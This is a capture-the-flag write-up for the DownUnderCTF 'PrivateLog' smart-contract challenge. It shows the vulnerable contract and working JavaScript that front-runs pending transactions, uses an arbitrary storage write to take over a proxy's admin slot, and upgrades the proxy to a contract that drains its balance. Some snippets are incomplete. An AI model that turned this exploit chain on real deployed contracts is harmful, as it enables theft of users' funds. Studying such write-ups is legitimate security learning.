Published on

PrivateLog Write-up (DuCTF)

Authors
  • avatar
    Name
    Fabrisme
    Twitter

This was a chall of the DownUnderCTF.

The objectif was to steal all the funds of this smart-contract:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @title Private Log
 * @author Blue Alder (https://duc.tf)
 **/

abstract contract Initializable {
   /**
    * @dev Indicates that the contract has been initialized.
     */
   bool private _initialized;

   /**
    * @dev Indicates that the contract is in the process of being initialized.
     */
   bool private _initializing;

   /**
    * @dev Modifier to protect an initializer function from being invoked twice.
     */
   modifier initializer() {
      require(_initializing || !_initialized, "Initializable: contract is already initialized");

      bool isTopLevelCall = !_initializing;
      if (isTopLevelCall) {
         _initializing = true;
         _initialized = true;
      }

      _;

      if (isTopLevelCall) {
         _initializing = false;
      }
   }
}



contract PrivateLog is Initializable {

   bytes32 public secretHash;
   string[] public logEntries;

   constructor() {
      secretHash = 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD;
   }

   function init(bytes32 _secretHash) payable public initializer {
      require(secretHash != 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD);
      secretHash = _secretHash;
   }

   modifier hasSecret(string memory password, bytes32 newHash) {
      require(keccak256(abi.encodePacked(password)) == secretHash, "Incorrect Hash");
      secretHash = newHash;
      _;
   }

   function viewLog(uint256 logIndex) view public returns (string memory) {
      return logEntries[logIndex];
   }

   function createLogEntry(string memory logEntry, string memory password, bytes32 newHash) public hasSecret(password, newHash) {
      require(bytes(logEntry).length <= 31, "log too long");

      assembly {
         mstore(0x00, logEntries.slot)
         let length := sload(logEntries.slot)
         let logLength := mload(logEntry)
         sstore(add(keccak256(0x00, 0x20), length), or(mload(add(logEntry, 0x20)), mul(logLength, 2)))
         sstore(logEntries.slot, add(length, 1))
      }
   }

   function updateLogEntry(uint256 logIndex, string memory logEntry, string memory password, bytes32 newHash) public hasSecret(password, newHash) {
      require(bytes(logEntry).length <= 31, "log too long");

      assembly {
         let length := mload(logEntry)
         mstore(0x00, logEntries.slot)
         sstore(add(keccak256(0x00, 0x20), logIndex), or(mload(add(logEntry, 0x20)), mul(length, 2)))
      }

   }
}

The description give us two hints.

  1. The challenge contract is begin a TransparentUpgradeableProxy
  2. And new log entry is added every minute.

The first vulnerability is located in the modifier hasSecret, with front-running we can hijack the control of createLogEntry and updateLogEntry.

Then with an access to updateLogEntry we can perform an arbitrary write to storage and change the admin address of the proxy contract located at 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 in the storage. With that we can be able to steal the fund.

So the first step will be the front-run.

First I'm going to install ethers and web3. Because I'm to lazy to read a doc.

mkdir PrivateLog
cd PrivateLog
npm init -y
npm i ethers web3

Here the code to front-run PrivateLog:

const { readFileSync } = require('fs')
const { ethers, BigNumber } = require('ethers')
const { utils } = ethers
const Web3 = require('web3')

const PROXY_ADDRESS = '0x44ed9953B804B3B2DbaF2c917DFC685cde151e20'
const ABI = JSON.parse(readFileSync('./PrivateLog_sol_PrivateLog.abi', { encoding: 'utf-8' }))
const PROXY_ABI = JSON.parse(
  readFileSync('./Transparent_sol_TransparentUpgradeableProxy.abi', {
    encoding: 'utf-8',
  })
)

;(async () => {
  const eth = new ethers.providers.JsonRpcProvider('PROVIDER_URL')
  const web3 = new Web3('PROVIDER_URL')
  const playerWallet = new ethers.Wallet('PRIVATE_KEY', eth)
  eth.defaultAccount = playerWallet.address

  const proxyTarget = new ethers.Contract(PROXY_ADDRESS, ABI)
  // keccak256('toto')
  const totoPass = '0x2ef06b8bbad022ca2dd29795902ceb588d06d1cfd10cb6e687db0dbb837865e9'

  eth.on('pending', async (tx) => {
    if (tx.from === PROXY_ADDRESS) {
      const args = web3.eth.abi.decodeParameters(
        ['string memory', 'string memory', 'bytes32'],
        tx.data.toLowerCase().replace('0x', '').slice(8)
      )
      await proxyTarget.connect(playerWallet).createLogEntry(args['0'], args['1'], totoPass, {
        gasLimit: tx.gasLimit.mul(2),
        gasPrice: tx.gasPrice.mul(2),
      })
    }
  })
})()

Then I need to craft a payload that can overwrite the admin value, doing my tests I noticed that with a wallet ending with 3E I can control the Proxy. So let's create it

...
const ADMIN_OFFSET = BigNumber.from(
  ethers.utils.keccak256(new TextEncoder().encode('eip1967.proxy.admin'))
);
const HASHED_SLOT = utils.keccak256(utils.hexZeroPad(paddedSlot, 32));
const OVER = ADMIN_OFFSET.sub(BigNumber.from(HASHED_SLOT)).add(1);

(async () => {
  let wallet;
  do {
    wallet = ethers.Wallet.createRandom();
  } while (wallet.address.slice(-2) !== '3E');

  ...
  eth.defaultAccount = playerWallet.address;
  const player = web3.eth.accounts.privateKeyToAccount('PRIVATE_KEY');
  web3.eth.accounts.wallet.add(player);
  web3.eth.defaultAccount = player.address;
  const nonce = await eth.getTransactionCount(playerWallet.address);

  eth.on('pending', async (tx) => {
    if (tx.from === PROXY_ADDRESS) {
      const args = web3.eth.abi.decodeParameters(
        ['string memory', 'string memory', 'bytes32'],
        tx.data.toLowerCase().replace('0x', '').slice(8)
      );

      const rawTx = [
        `0xdd1b54d3${OVER}`,
        ethers.utils.hexZeroPad('0x80', 32).slice(2),
        ethers.utils.hexZeroPad('0xc0', 32).slice(2),
        args['1'],
        `${ethers.utils
          .hexZeroPad('0x1f', 32)
          .slice(2)}000000000000000000000000`,
        `${wallet.address.slice(2).slice(0, -2)}00`,
        ethers.utils
          .hexZeroPad(BigNumber.from(totoPass.length).toHexString(), 32)
          .slice(2),
        ethers.utils.hexZeroPad(totoPass, 32).slice(2),
      ].join('');

      const txData = {
        nonce,
        gasLimit: tx.gasLimit.mul(2),
        gasPrice: tx.gasPrice.mul(2),
        value: 0,
        data: rawTx,
        from: playerWallet.address,
        to: PROXY_ADDRESS,
      };

      const sentTx = await web3.eth.sendTransaction(txData);
      console.log(sentTx);
    }
  });
})();

Now we need to upgradeToAndCall the proxy contract to steal all the fund. My contract is:

pragma solidity ^ 0.8.0;

contract Rat
{
    constructor() {
    }

    function attack() public {
        uint256
        balance = address(this).balance;
        payable(msg.sender).transfer(balance);
    }
}

And the final version of the script:

const { readFileSync } = require('fs')
const { ethers, BigNumber } = require('ethers')
const { utils } = ethers
const Web3 = require('web3')

const PROXY_ADDRESS = '0x44ed9953B804B3B2DbaF2c917DFC685cde151e20'
const ABI = JSON.parse(readFileSync('./PrivateLog_sol_PrivateLog.abi', { encoding: 'utf-8' }))
const PROXY_ABI = JSON.parse(
  readFileSync('./Transparent_sol_TransparentUpgradeableProxy.abi', {
    encoding: 'utf-8',
  })
)
const RAT_BIN = readFileSync('./Rat_sol_Rat.bin', { encoding: 'utf-8' })
const RAT_ABI = JSON.parse(readFileSync('./Rat_sol_Rat.abi', { encoding: 'utf-8' }))
const ADMIN_OFFSET = BigNumber.from(
  ethers.utils.keccak256(new TextEncoder().encode('eip1967.proxy.admin'))
)
const HASHED_SLOT = utils.keccak256(utils.hexZeroPad(paddedSlot, 32))
const OVER = ADMIN_OFFSET.sub(BigNumber.from(HASHED_SLOT)).add(1)

;(async () => {
  let wallet
  do {
    wallet = ethers.Wallet.createRandom()
  } while (wallet.address.slice(-2) !== '3E')

  const eth = new ethers.providers.JsonRpcProvider('PROVIDER_URL')
  const playerWallet = new ethers.Wallet('PRIVATE_KEY', eth)
  eth.defaultAccount = playerWallet.address

  const web3 = new Web3('PROVIDER_URL')
  const player = web3.eth.accounts.privateKeyToAccount('PRIVATE_KEY')
  web3.eth.accounts.wallet.add(player)
  web3.eth.defaultAccount = player.address

  const ratFactory = new ethers.ContractFactory(RAT_ABI, RAT_BIN, player)
  const rat = await ratFactory.deploy()

  const proxyTarget = new ethers.Contract(PROXY_ADDRESS, ABI)
  // keccak256('toto')
  const totoPass = '0x2ef06b8bbad022ca2dd29795902ceb588d06d1cfd10cb6e687db0dbb837865e9'

  await (
    await playerWallet.sendTransaction({
      to: wallet.address,
      value: ethers.utils.parseEther('1'),
    })
  ).wait
  const nonce = await eth.getTransactionCount(playerWallet.address)

  eth.on('pending', async (tx) => {
    if (tx.from === PROXY_ADDRESS) {
      const args = web3.eth.abi.decodeParameters(
        ['string memory', 'string memory', 'bytes32'],
        tx.data.toLowerCase().replace('0x', '').slice(8)
      )

      const rawTx = [
        `0xdd1b54d3${OVER}`,
        ethers.utils.hexZeroPad('0x80', 32).slice(2),
        ethers.utils.hexZeroPad('0xc0', 32).slice(2),
        args['1'],
        `${ethers.utils.hexZeroPad('0x1f', 32).slice(2)}000000000000000000000000`,
        `${wallet.address.slice(2).slice(0, -2)}00`,
        ethers.utils.hexZeroPad(BigNumber.from(totoPass.length).toHexString(), 32).slice(2),
        ethers.utils.hexZeroPad(totoPass, 32).slice(2),
      ].join('')

      const txData = {
        nonce,
        gasLimit: tx.gasLimit.mul(2),
        gasPrice: tx.gasPrice.mul(2),
        value: 0,
        data: rawTx,
        from: playerWallet.address,
        to: PROXY_ADDRESS,
      }

      await web3.eth.sendTransaction(txData)

      console.log(
        await (
          await proxyTarget
            .connect(wallet)
            .upgradeToAndCall(rat.address.toLocaleLowerCase(), '0x9e5faafc', {
              gasLimit: 100_000,
              gasPrice: 100_000,
            })
        ).wait()
      )
    }
  })
})()